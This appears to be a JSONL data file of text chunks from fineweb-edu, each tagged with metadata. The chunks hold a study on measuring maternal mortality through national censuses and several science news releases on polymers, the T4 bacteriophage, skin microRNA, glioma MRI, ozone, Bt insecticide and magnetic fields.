known to have fallen rapidly in both countries. comparison of adult female deaths to the age distribution of the population, which assumes an unchanging population age distribution, was also given low weight in both the islamic republic of iran and zimbabwe, where growth rates have been changing quickly, thus violating an assumption of the method. for the three other countries, adjustment factors tended to be similar regardless of the methodologies used. with the exception of zimbabwe, where reporting was estimated to be complete, the numbers of adult female deaths reported in these censuses required upward adjustment by factors ranging from 1. 6 to 3. 0. data on births in the last year required adjustment in three of the five countries, with adjustment factors ranging from 1. 30 to 1. 65 ; reporting of births in madagascar and zimbabwe was deemed to be complete. regarding maternal deaths, the expected j - shaped age pattern of the maternal mortality ratio was evident in four of the five countries. likewise", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4787118137513453, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.310933"} {"text": "factors ranging from 1. 30 to 1. 65 ; reporting of births in madagascar and zimbabwe was deemed to be complete. regarding maternal deaths, the expected j - shaped age pattern of the maternal mortality ratio was evident in four of the five countries. likewise, the proportion of adult female deaths due to maternal causes was as expected and was consistent with data on age at first childbirth ( data not shown ). it was not possible to analyse the maternal death data from madagascar : problems with question formulation meant that there were no data on age at death of the mother. comparisons with survey data recent estimates of maternal mortality were available in benin and zimbabwe from national surveys ( dhs ) for comparative purposes. the dhs estimate of 498 in benin refers to the period 198996 ( 17 ). although higher than the adjusted census estimate of 338, the census estimate falls near the confidence interval surrounding the survey - based estimate. in zimbabwe, the census and dhs estimates are virtually identical ( 395 and 393, respectively ). however, the dhs estimate was based on only 55 maternal deaths reported over the 7 - year period from 198894 compared to 1419 maternal deaths reported to the census over the 12 months preceding interview in august 1992 ( 10 ). the findings from this evaluation exercise suggest that a census is a feasible and promising approach for maternal mortality measurement under certain favourable conditions. given the competition for additional questions in a population census, directors of census offices from the five countries in this analysis all agreed that the most important condition to be met before considering the addition of maternal mortality questions is a commitment on the part of the ministry of health to use the data for programming and policy - level decision - making. for example, high values for certain regions or population subgroups could help in targeting interventions. the second essential condition is a commitment to evaluate census results following data collection. all stages of data collection and evaluation need to be carried out with appropriate technical input. as is obvious from the results presented here, evaluation of the data using standard demographic procedures often leads to substantial upward adjustment of results. based on the experience in these five countries, recommendations were compiled for governments considering maternal mortality measurement in the future ( see box 2 ). it was not possible to estimate the cost implications of adding questions to the censuses of the five countries studied. however, while it is expected that each additional question affects to some extent the average duration of the interview and data processing, many developing countries already inquire into all births and deaths within the household, as is recommended by the united", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4711738011357946, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.313292"} {"text": "five countries studied. however, while it is expected that each additional question affects to some extent the average duration of the interview and data processing, many developing countries already inquire into all births and deaths within the household, as is recommended by the united nations ( 18 ). if this is the case, measuring maternal mortality requires only one to three additional questions, depending on the format selected to identify maternal deaths. furthermore, the question or questions will only be asked where a recent adult female death has taken place, which is expected to occur in less than 1 % of households. when considering the differential costs associated with a survey versus a census, one should also remember that a census provides data on regional differences, as well as on other variables of interest, as opposed to one national estimate that would be available from a survey. choosing a census to determine maternal mortality clearly, all pragmatic data collection methods in both the industrialized and developing world generate estimates of maternal mortality that are only approximate. the census is no exception. nonetheless, given the expense, imprecision, and the fact that adjustment techniques do not exist for the traditional methods in use, the census has several advantages which make it worth advocating. in all of the five countries except madagascar, the initial motivation for the pioneering efforts made by the census bureaus originated from a request from a ministry of health, a womens union, or from an international health agency. the results of our evaluation should serve as a call to health ministries and census bureaus in developing countries to learn from the experience of these five countries and follow the recommendations listed above. further implementation of the approach and attention to these recommendations may also lead to improvements in the future. by doing so, the public health community, armed with essential information on differentials in maternal mortality, is free to concentrate its efforts on interventions to reduce maternal deaths, while measurement is left to statistical agencies familiar with the complexities of the task. this study was made possible by support from the united states agency for international development under the terms of cooperative agreement hrn - a - 00 - 97 - 00018 - 00. the opinions expressed are those of the authors and do not necessarily reflect the views of the united states agency of international development. conflicts of interest : none declared. chaque deces compte : mesure de la mortalite maternelle a partir des recensements les methodes de mesure de la mortalite maternelle au niveau national et subnational dans les pays en developpement sont tres insuf", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.45857713127585176, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.314952"} {"text": ": mesure de la mortalite maternelle a partir des recensements les methodes de mesure de la mortalite maternelle au niveau national et subnational dans les pays en developpement sont tres insuffisantes en regard de la demande destimations. nous avons evalue lutilisation des recensements nationaux de population comme moyen de mesurer la mortalite maternelle, en analysant les donnees de cinq pays ( benin, madagascar, republique democratique populaire lao, republique islamique diran et zimbabwe ) dans lesquels les deces maternels sont identifies dans les recensements. des methodes demographiques classiques ont ete utilisees pour evaluer lexhaustivite de la notification des deces de femmes adultes et des naissances au cours de lannee precedant le recensement. les resultats de ces etudes ont ete utilises pour ajuster les donnees. il a fallu revoir a la hausse le nombre de deces de femmes adultes dans quatre pays et le nombre de naissances recentes dans trois pays. le nombre de deces maternels a ete augmente du meme facteur que celui de deces de femmes adultes en partant de lhypothese que la proportion de deces de femmes adultes lies a la maternite etait correcte. la repartition par age des divers indicateurs de mortalite maternelle etait plausible et compatible avec les sources exterieures de donnees pour dautres populations. nos donnees indiquent que, dans des circonstances favorables, lutilisation du recensement national constitue une approche realisable et interessante pour la mesure de la mortalite maternelle, et quelle evite en outre certaines faiblesses des methodes actuellement en usage. il faut cependant noter quil est indispensable devaluer soigneusement les donnees et si necessaire de les ajuster. les acteurs de sante publique sont instamment invites a encourager les go", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4700866133698468, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 9, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.316111"} {"text": "causas maternas era correcta. los perfiles por edades de los diversos indicadores de la mortalidad materna fueron plausibles y coherentes con las fuentes externas de datos para otras poblaciones. nuestros datos parecen indicar que, en condiciones favorables, el uso de un censo nacional es un metodo factible y prometedor para medir la mortalidad materna. ademas, el uso del censo permite soslayar varias de las deficiencias de los metodos actualmente empleados. no obstante, debe senalarse tambien que para ello es esencial evaluar detenidamente los datos, y ajustarlos si es necesario. hay que apremiar a la comunidad de salud publica para que aliente a los gobiernos a aprender de la experiencia de esos cinco paises y a encomendar las estimaciones de la mortalidad materna a los organismos de estadistica oportunos. 1. proposals for key actions for the further implementation of the programme of action of the international conference on population and development ; report of the secretary general. united nations economic and social council, 1999 ( e / cn. 9 / 1999 / pc / 4 ). [ links ] 2. graham w, filippi v, ronsmans c. demonstrating programme impact on maternal mortality. health policy and planning, 1996, 11 ( 1 ) : 1620. [ links ] 3. the safe motherhood action agenda, priorities for the next decade. report on the safe motherhood technical consultation 1823 october 1997, colombo, sri lanka. new york, family care international, 1998. [ links ] 4. ronsmans c et al. decline in maternal mortality in matlab, bangladesh, a cautionary tale. lancet, 1997, 350 : 18101814. [ links ] 5. atrash h, alexander s, berg c. maternal mortality in developing countries : not just a concern of the past. obstetrics and gynecology, 1995, 86 ( 4, part 2 ) : 700705. [ links ] 6. bouvier - colle mh et al. reasons for the under - reporting of maternal mortality in france, as", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4744404254454689, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 11, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.317935"} {"text": "##8. [ links ] 15. hill, k. estimating census and death registration completeness. asian and pacific census forum, 1987, 1 ( 3 ) : 813. [ links ] 16. manual x. indirect techniques for demographic estimation. populations studies no. 81. new york, united nations, department of economic and social affairs, 1983. [ links ] 17. kodjogbe n et al. enquete demographique et de la sante, republique du benin. [ demographic and health survey, republic of benin. ] calverton, md, macro international, 1996. [ links ] 18. principles and recommendations for population and housing censuses, revision 1. united nations, department of economic and social affairs ( series m, no. 67 / rev. 1 ), 1998. [ links ] 1 director, monitoring / evaluation and research, maternal and neonatal health project, jhpiego, 1615 thames street, suite 100, baltimore, md 21231, usa ( email : email @ example. com ). correspondence should be addressed to this author. 2 professor of population studies, department of social policy, london school of economics, london, england. 3 professor, johns hopkins school of hygiene and public health, baltimore, md, usa. 4 director of the census, institut national de la statistique et de l ' analyse economique, cotonou, benin. 5 demographer, central statistical office, harare, zimbabwe. 6 demographer, central bureau of statistcs, nairobi, kenya. 7 epidemiologist, ministry of health and medical education, tehran, islamic republic of iran. 8 demographer, centre national de recherches sur l ' environnement, antananarivo, madagascar. 9 director of the census, national statistical center, vientiane, lao peoples democratic republic. 10 senior lecturer, london school of hygiene and tropical medicine, london, england. ref. no. 99 - 0118", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4531990908118378, "token_count": 410, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 13, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.319776"} {"text": "mar. 19, 1998 west lafayette, ind. - - purdue university researchers have developed a new class of materials that has a wide variety of potential applications, from a coating to repel liquids to a membrane that could be used in wastewater treatment and drug delivery. the materials are called co - polymer networks, which are \" built \" from intersecting chains of small molecules linked together to form a larger, mesh - like structure. the two molecular \" building blocks, \" or monomers, used in the new materials are acrylic acid and a derivative of oligoethylene glycol. the properties of an individual material in the class can be varied depending on the relative amounts of the monomers used to prepare it. \" because these materials are co - polymers, we can control their properties more precisely and over a wider range than we could if they were made of a single type of monomer, \" says robert scott, a ph. d. candidate at purdue who helped develop the material. \" this level of versatility and control allows for a number of applications. \" the new class of materials is unique in that it is the first time materials with such a wide variety of properties have been derived from a combination of these two monomers, says scott ' s adviser nicholas peppas, the showalter distinguished professor at purdue. peppas has conducted research in polymers for more than 26 years and has developed new materials and polymers for applications that include biomedical applications. \" the most exciting thing about this research is that we ' ve not only developed a class of materials with diverse properties, but we ' ve also come to understand fundamentally, on a molecular level, the basis for those properties, \" scott says. scott will present information on the new materials in two talks march 16 at the annual meeting of the american physical society in los angeles. his research has been funded by the national science foundation and the national institutes of health. the new materials, which were developed over the past four years with the help of lab assistant atsmon shahar, are particularly suited for separations applications, such as filtering mechanisms used in wastewater treatment, where only certain substances are allowed to pass through the mesh created by the interlacing polymers. \" as we increase the acrylic acid content of the materials, the oligoethylene glycol chains that make up the network move further apart, increasing the mesh size, which in turn determines what substances can pass through, \" scott explains. \" by varying the acrylic acid content, as well as other", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5492557318670106, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.324115"} {"text": "##igoethylene glycol chains that make up the network move further apart, increasing the mesh size, which in turn determines what substances can pass through, \" scott explains. \" by varying the acrylic acid content, as well as other parameters, we can precisely control the size of the molecules we allow through. \" another application scott has investigated in his lab is the controlled release of substances. \" we ' ve made systems that contain a model drug, and we ' re studying how the rate of diffusion of that drug out of this polymer varies as we vary the polymer structure, \" scott says. \" using the material as a membrane for drug delivery is a particularly appealing application because we have very fine control over what drugs could be released through it and under what conditions. \" in addition, the acrylic acid in the materials makes them sensitive to the acidity, or ph, of their environment. the mesh size and diffusive properties vary depending on the ph of the environment - - an important consideration for drug delivery applications, since different parts of the body exhibit different ph levels. for example, a capsule incorporating this material and containing a particular drug might remain \" closed \" in the mouth and \" open \" in the stomach to release a drug. one type of the material also can be made to have a very dense network of molecular chains, which would make it very resistant to liquids, scott says. \" in that case it might make an ideal coating for applications that require a very low permeability to moisture, \" he says. \" we can also modify the properties so that it will absorb various amounts of liquid. we ' re looking very closely at how we can control its affinity for water. \" depending on its affinity for water, the material might also find applications in the cosmetics industry in moisturizers, peppas says. peppas says further studies of the materials will be needed before they are ready for industrial or medical use. other social bookmarking and sharing tools : the above story is reprinted from materials provided by purdue university. note : materials may be edited for content and length. for further information, please contact the source cited above. note : if no author is given, the source is cited instead.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5116227452138205, "token_count": 453, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.326241"} {"text": "feb. 7, 2002 west lafayette, ind. \u2014 a detailed look at a syringe - like structure designed to inject viral dna into a host cell reveals a unique and complex entry scheme for viruses. the study may provide clues to how similar viruses infect cells and suggest ways for developing a new class of antibiotics and other drugs to prevent illnesses caused by viral pathogens. scientists at purdue university have solved the three - dimensional structure of the bacteriophage t4 virus, a virus that resembles a lunar lander in both its looks and intricate workings. the study, published in the jan. 31 issue of the journal nature, reveals for the first time how the virus binds to the surface of the host, punctures the cell wall with a syringe - like tube and injects its own genetic blueprint into the cell. this genetic information then sets the cell ' s machinery to work creating replicas of the virus. \" though the t4 virus has been studied extensively in the past, this study provides the first detailed information on the virus structure and how it works, \" says michael rossmann, hanley distinguished professor of biological sciences at purdue who directed the study. bacteriophage t4 is a virus that infects only bacteria, in this case e. coli, a bacteria used extensively in molecular biology research. the study of bacterial viruses such as t4 is useful in understanding many basic functions in biology, rossmann says. \" this particular study tells us a great deal about how a virus infects a cell, \" he says. \" these processes tend to be quite general, so mechanisms used by one virus often are similar to mechanisms used by other viruses, including those that infect humans. \" bacteriophages may play a future role in controlling disease - causing bacteria, says kamal shukla, the national science foundation project officer for this research. \" knowing the exact mechanism of t4 bacteriophage infectivity is a significant breakthrough, \" shukla says. \" this information could eventually help in creating designer viruses that could be the next class of antibiotics. \" analysis of the cell - puncturing device also reveals a structure that may hold potential for applications in nanotechnology, such as microscopic probes, rossmann says. \" this a very stable structure that looks like a small stylus, \" he says. \" it might be useful as a probe in an atomic force microscope, which employs a probe of molecular dimension. \" the t4 virus consists of an", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5373460975373492, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.332912"} {"text": "says. \" this a very stable structure that looks like a small stylus, \" he says. \" it might be useful as a probe in an atomic force microscope, which employs a probe of molecular dimension. \" the t4 virus consists of an elongated head, which carries the virus ' genetic material, and a tail made up of a hexagonal baseplate and six leg - type structures, called long - tail and short - tail fibers. in the study, the purdue group analyzed atom - by - atom the structure of the virus ' baseplate. the baseplate is the key component of the virus, rossmann says, serving as a \" nerve center \" and sending signals to and from the virus ' head and tail fibers. while transmitting its messages, the baseplate also prepares the virus machinery to eject its dna into the host cell. \" a whole series of events are required to recognize, attach and confirm the attachment, and then contract so that the viral dna can be ejected into the host, \" rossmann says. \" it ' s a very complicated system for infecting a cell. \" the viral machine works as follows : the virus uses its long - tail fibers to recognize its host and to send a signal back to the baseplate. once the signal is received, the short - tail fibers help anchor the baseplate into the cell surface receptors. as the virus sinks down onto the surface, the baseplate undergoes a change \u2014 shifting from a hexagon to a star - shaped structure. at this time, the whole tail structure shrinks and widens, bringing the internal pin - like tube in contact with the outer membrane of the e. coli cell. as the tail tube punctures the outer and inner membranes of the e. coli cell, the virus ' dna is injected through the tail tube into the host cell. the dna then instructs the bacterium to produce new viruses. so many are produced, in fact, that the e. coli eventually bursts, setting masses of new virus free to infect other cells. the new detailed images provided by rossmann ' s group also reveal a structure slightly different than what scientists had envisioned. \" we found that the baseplate is shaped like a cup or small dome, \" rossmann says. \" previously it was believed that the baseplate was a rather flat structure. \" the study also is the first to show how the syringe - like tube is situated in the center of the baseplate, positioned in line with the dna contained in the virus head.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5285751307055567, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.333848"} {"text": "believed that the baseplate was a rather flat structure. \" the study also is the first to show how the syringe - like tube is situated in the center of the baseplate, positioned in line with the dna contained in the virus head. the studies were done at purdue using x - ray crystallography, a technique often used to study structures such as proteins and viruses, in atomic detail. but the process works only if the substances can be made to form crystals. crystals are used because the diffraction pattern from one single molecule could be insignificant, but the many individual, identical molecules in a crystal amplify the pattern. diffraction patterns are created when an x - ray beam hits a crystal, causing the electrons surrounding each atom to bend the beam. computers can then be used to interpret this pattern and reconstruct the positions of the atoms. \" because the structure is so complex, we could not crystallize the entire virus structure at once, \" rossmann says. \" instead, we crystallized the various components and gradually pieced together a picture of the structure. \" the research was funded by the national science foundation. rossmann and his research team at purdue collaborated with shuji kanamaru and fumio arisaka of the tokyo institute of technology, and vadim mesyanzhinov of the shemyakin - ovchnnikov institute of bioorganic chemistry in moscow, russia. other social bookmarking and sharing tools : note : materials may be edited for content and length. for further information, please contact the source cited above. note : if no author is given, the source is cited instead.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5734857921689209, "token_count": 336, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.334455"} {"text": "mar. 5, 2008 exposed skin cells weather conditions harsh enough to mutate dna. to keep these mutations from spreading, evolution has found a way to keep these cells from proliferating. rockefeller university and hhmi researchers have now discovered evolution ' s solution : a tiny strand of rna. but the research ' s implications go deeper, and may also suggest how healthy cells elsewhere in the body can turn cancerous. every minute, 30, 000 of our outermost skin cells die so that we can live. when they do, new cells migrate from the inner layer of the skin to the surface of it, where they form a tough protective barrier. in a series of elegant experiments in mice, researchers at rockefeller university have now discovered a tiny rna molecule that helps create this barrier. the results not only yield new insight into how skin first evolved, but also suggest how healthy cells can turn cancerous. hundreds of these tiny rna molecules, called micrornas, are expressed in skin, \" but there was something curious about one in particular, microrna - 203, \" says rui yi, a postdoc who works with elaine fuchs, head of the laboratory of mammalian cell biology and development. \" as an embryo develops, the expression of microrna - 203 jumps very quickly over just two days. from being barely detectable at day 13, this microrna becomes the most abundant expressed in skin, \" says yi, whose work will be published as an advance online publication in nature march 2. micrornas, which were discovered in mammals in 2001, regulate genes outside of the cell ' s nucleus. yi and fuchs, who is also a howard hughes medical institute investigator and rebecca c. lancefield professor at rockefeller, found that during the 13th day of development, mouse skin is primarily composed of undifferentiated stem cells. two days later, these stem cells exit the inner layer of the skin and begin to differentiate into cells that form the outermost, protective layer. microrna - 203 ' s expression skyrockets precisely during this period, suggesting that it plays some key role in the barrier ' s development. in order to figure out its role, yi and fuchs needed to pinpoint exactly where microrna - 203 is expressed. other micrornas have been found to be specific to heart and muscle tissues ; some exist almost exclusively in the brain. however, this microrna was found only in very specific types of skin - - stratified epithelial tissues, to be exact - - and only in this skin type", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5496407912057277, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.338739"} {"text": "specific to heart and muscle tissues ; some exist almost exclusively in the brain. however, this microrna was found only in very specific types of skin - - stratified epithelial tissues, to be exact - - and only in this skin type ' s outer layers. what ' s more, this expression pattern is identical to that found in humans, zebrafish, chickens and the like - - in other words, vertebrates that evolved more than 400 million years apart. \" if it has been expressed in this very specific tissue for a long time and across several species, it means that it probably plays an important role there, \" says yi. to find out its function, yi, in one set of experiments, used a genetic technique to precociously express microrna in the inner layer of the skin, where stem cells proliferate at a fast clip. in a second set of experiments, he blocked microrna - 203 from functioning in the outer layer using an antagomir, a molecule that binds directly to microrna - 203 and shuts down its ability to carry out its function. in the first set, he found that the stem cells proliferated significantly less than they did when microrna - 203 wasn ' t expressed, and, as a result, the mice formed very thin skin - - hardly a protective layer at all. the stem cells, the researchers saw, lost their ability to proliferate not because microrna - 203 killed them off but because it suppressed the activity of a molecule called p63, whose job is to keep cells, primarily stem cells, proliferating. in the second set of experiments, yi found that the cells in the outer layer proliferated significantly more than they did when microrna - 203 was expressed. the reason : because microrna - 203 wasn ' t available to shut down p63 ' s busy work. \" we found that microrna - 203 acts to stop the translation of the p63 protein, \" says fuchs. \" the result is a swift transition from proliferating stem cells within the innermost layer of the epidermis and terminally differentiating cells as they exit this layer and move outward to the skin surface. \" the findings have intriguing implications for cancer, since p63 is found in excess in cancer cells. \" as a next step, we are going to examine whether low expression of microrna - 203 is associated with squamous cell carcinomas, \" says fuchs, \" and whether by putting back microrna", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5203655020484961, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.339723"} {"text": "mar. 26, 2008 a special type of magnetic resonance imaging ( mri ) can depict changes in blood volume in the brain that often precede cancerous transformation of brain tumors, according to a new study. \" we found that increases in blood volume within the tumor measured noninvasively by perfusion mri precede other markers of malignant transformation by a year or more, \" said study co - author adam waldman, ph. d., m. r. c. p., f. r. c. r., consultant neuroradiologist and imaging research director at imperial college nhs trust and honorary senior lecturer at imperial college and university college, london. low - grade gliomas are primary brain tumors that grow slowly over several years. eventually, almost all low - grade gliomas progress to high - grade gliomas, which carry a poor prognosis. \" patients with low - grade gliomas are often young and may remain clinically well for many years but, at an unpredictable time their tumor will transform to an aggressively high - grade glioma, \" dr. waldman said. for the study, the researchers performed perfusion mri on 13 patients with low - grade gliomas to determine whether relative cerebral blood volume ( rcbv ) changes are an indicator of future malignant transformation. brain tumors can bring about the formation of new blood vessels, a process known as angiogenesis. these vessels are abnormal and lead to changes in blood volume and flow. using perfusion mri, radiologists can detect these changes well before they become apparent on contrast - enhanced mr images. the patients underwent perfusion mri and contrast - enhanced mri every six months for up to three years. seven patients progressed to high - grade, malignant gliomas between six and 36 months. in the six patients whose disease remained stable, rcbv remained relatively stable, increasing from a mean level of 1. 31 at the beginning of the study to 1. 52 over the follow - up period. however, in the patients exhibiting tumor transformation, mean rcbv increased progressively from 1. 94 at study entry to 3. 14 twelve months prior to transformation, to 3. 65 six months prior to transformation and to 5. 36 at the time transformation was diagnosed. these findings suggest that significant changes in rcbv represent an important marker of malignant change in gliomas and reflect the earliest stages of the transformation process. further, the data support the likelihood that the cellular processes underlying malignant transformation may occur 12 months", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5266343213467026, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.343047"} {"text": "findings suggest that significant changes in rcbv represent an important marker of malignant change in gliomas and reflect the earliest stages of the transformation process. further, the data support the likelihood that the cellular processes underlying malignant transformation may occur 12 months or more before visible on contrast mri. \" we have shown that perfusion mri provides a noninvasive means of assessing the risk of transformation in individual patients, \" dr. waldman said. \" increasing perfusion can be regarded as an early warning sign of impending malignant transformation that can assist radiologists in identifying those patients most likely to benefit from earlier or more aggressive treatment. \" journal reference : \" low - grade gliomas : do changes in rcbv measurements at longitudinal perfusion - weighted mr imaging predict malignant transformation? \" collaborating with dr. waldman were nasuda danchaivijitr, m. d., daniel j. tozer, ph. d., christopher e. benton, b. sc., gisele brasil caseiras, m. d., paul s. tofts, ph. d., jeremy h. rees, ph. d., f. r. c. p., and h. rolf jager, m. d., f. r. c. r. other social bookmarking and sharing tools : note : if no author is given, the source is cited instead.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5178517630404266, "token_count": 288, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.343762"} {"text": "nov. 24, 2008 a review of studies projecting the impact of climate change on air quality, including effects on morbidity and mortality, indicates that adverse health effects will likely rise with changes in pollutant creation, transport, dispersion, and deposition. however, reducing greenhouse gas emissions could go far in mitigating adverse effects. worldwide, 800, 000 deaths and 7. 9 million disability - adjusted life - years lost from respiratory problems, lung disease, and cancer were attributed to urban air pollution in 2000, according to the world health organization. ground - level ozone is a known pulmonary irritant that affects the respiratory mucous membranes, other lung tissues, and respiratory function. exposure to elevated concentrations of ozone is associated with increased hospital admissions for pneumonia, chronic obstructive pulmonary disease, asthma, allergic rhinitis, and other respiratory diseases, and with premature mortality. \u201c projections suggest that climate change will increase concentrations of tropospheric ozone, at least in high - income countries when precursor emissions are held constant, which would increase morbidity and mortality, \u201d wrote authors kristie l. ebi and glenn mcgregor. \" the potential impacts of climate change on ozone concentrations have not been projected for low - income countries, many of which currently have significantly higher ozone exposures. \" additional research is needed to better project the health impacts of changing concentrations of ozone due to climate change. sources of uncertainty include the projected degree of future climate change, the impact of future emissions and their pathways, potential changing weather patterns, the severity of episodes of poor air quality, and changes in population vulnerability. these findings appear in the november 2008 issue of the peer - reviewed journal, environmental health perspectives ( ehp ). other social bookmarking and sharing tools : note : if no author is given, the source is cited instead.", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4766761939669995, "token_count": 371, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.347035"} {"text": "may 20, 2010 bbsrc - funded researchers at the university of oxford and royal holloway university of london have discovered that the commonly used and naturally occurring bacterial insecticide bt works best if applied to young plants and is enhanced by the presence of the insect pests. the research is published in the open - access journal plos pathogens. spraying bt - - the bacterium bacillus thuringiensis - - is a common method for controlling a variety of insect pests and is one of the main approaches to chemical - free pest control in agriculture. optimising sustainable farming techniques can help meet the challenge of feeding 9 billion people by 2050 using fewer resources and with minimum impact on the environment. senior researcher dr mike bonsall at the university of oxford said : \" bt has been used commercially for about 40 years and is readily available to control pest moths and the like, but until now we ' ve known very little about the natural abundance of the bacteria in the environment and what happens when we apply extra bacteria as a means of pest control. it ' s really important to understand what is happening so that we can, for example, know what factors might have an impact on the insects becoming resistant to bt. \" bt is found naturally in soils and on plants and exists as many different varieties that each have a preference for infecting different organisms. bt strains that are specific to certain insects rely on being able to infect those insects in order to reproduce. the researchers studied a strain called st8, which infects the diamondback moth - - a pest that attacks cabbages, broccoli and related crops - - and they found that the population of bacteria ( either existing or applied ) establishes itself more readily when the insects are present. the team set up several cabbage plots in the field to examine what was happening when there were extra insects and / or extra bacteria added to what was already present. then they took samples of soil and leaves. for each sample they looked at the genetics of the bacteria to build a profile of which strains of bt were present and in what numbers. lead researcher dr ben raymond at royal holloway university of london said : \" we found that our strain, st8, is the most common in the environment already and it also seems to be best at getting onto the leaves where it can infect the moths. we think that the st8 that exists naturally in the farm environment might well be colonising the plant as growing seedlings so it gets the earliest possible opportunity to infect the moths, which of course it needs", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.48805958722825554, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.350580"} {"text": "where it can infect the moths. we think that the st8 that exists naturally in the farm environment might well be colonising the plant as growing seedlings so it gets the earliest possible opportunity to infect the moths, which of course it needs to do to survive. \" this makes sense given that we also found that when there are extra insects in the environment the bacteria actually do much better and can be found in larger numbers. it also shows why spraying the plants, especially young ones, rather than the soil is the best way of using bt to control insect pests. \" the research team are also looking at factors that affect the chances of insects becoming resistant to bt. in particular they are looking at the way the toxin that kills the insect and an antibiotic that bt produces to get rid of competing strains of bacteria in the insect ' s gut both impact the evolution of resistance in the insect. professor douglas kell, bbsrc chief executive said : \" sustainable solutions to future food security will rely on a thorough understanding of how ecosystems operate. this is a good example where the interactions between different parts of such a system have a significant impact on how we can control pests using biological rather than chemical methods. it is also vital that our ongoing practices with bt present minimal risk of insects becoming resistant and so work to understand the fundamental biology that happens within this system is extremely important. \" other social bookmarking and sharing tools : the above story is reprinted from materials provided by biotechnology and biological sciences research council. - ben raymond, kelly l. wyres, samuel k. sheppard, richard j. ellis, michael b. bonsall. environmental factors determining the epidemiology and population genetic structure of the bacillus cereus group in the field. plos pathogens, 2010 ; 6 ( 5 ) : e1000905 doi : 10. 1371 / journal. ppat. 1000905 note : if no author is given, the source is cited instead.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4487730510250878, "token_count": 402, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.351332"} {"text": "apr. 17, 2012 researchers from the complutense university of madrid ( ucm, spain ) have mathematically shown that particles charged in a magnetic field can escape into infinity without ever stopping. one of the conditions is that the field is generated by current loops situated on the same plane. at the moment this is a theoretical mathematical study, but two researchers from ucm have recently proved that, in certain conditions, magnetic fields can send particles to infinity, according to the study published in the journal quarterly of applied mathematics. \" if a particle ' escapes ' to infinity it means two things : that it will never stop, and \" something else, \" antonio diaz - cano, one of the authors, explained. regarding the first, the particle can never stop, but it can be trapped, doing circles forever around a point, never leaving an enclosed space. however, the \" something else \" goes beyond the established limits. \" if we imagine a spherical surface with a large radius, the particle will cross the surface going away from it, however big the radius may be \" the researcher declares. scientists have confirmed through equations that some particles can escape infinity. one condition is that the charges move below the activity of a magnetic field created by current loops on the same plane. other requirements should also be met : the particle should be on some point on this plane, with its initial speed being parallel to it and far away enough from the loops. \" we are not saying that these are the only conditions to escape infinity, there could be others, but in this case, we have confirmed that the phenomenon occurs, \" diaz - cano states. \" we would have liked to have been able to try something more general, but the equations are a lot more complex. \" in any case, the researchers recognise that the ideal conditions for this study are \" with a magnetic field and nothing else. \" reality always has other variables to be considered, such as friction and there is a distant possibility of going towards infinity. nonetheless, the movement of particles in magnetic fields is a \" very significant \" problem in fields such as applied and plasma physics. for example, one of the challenges that the scientists that study 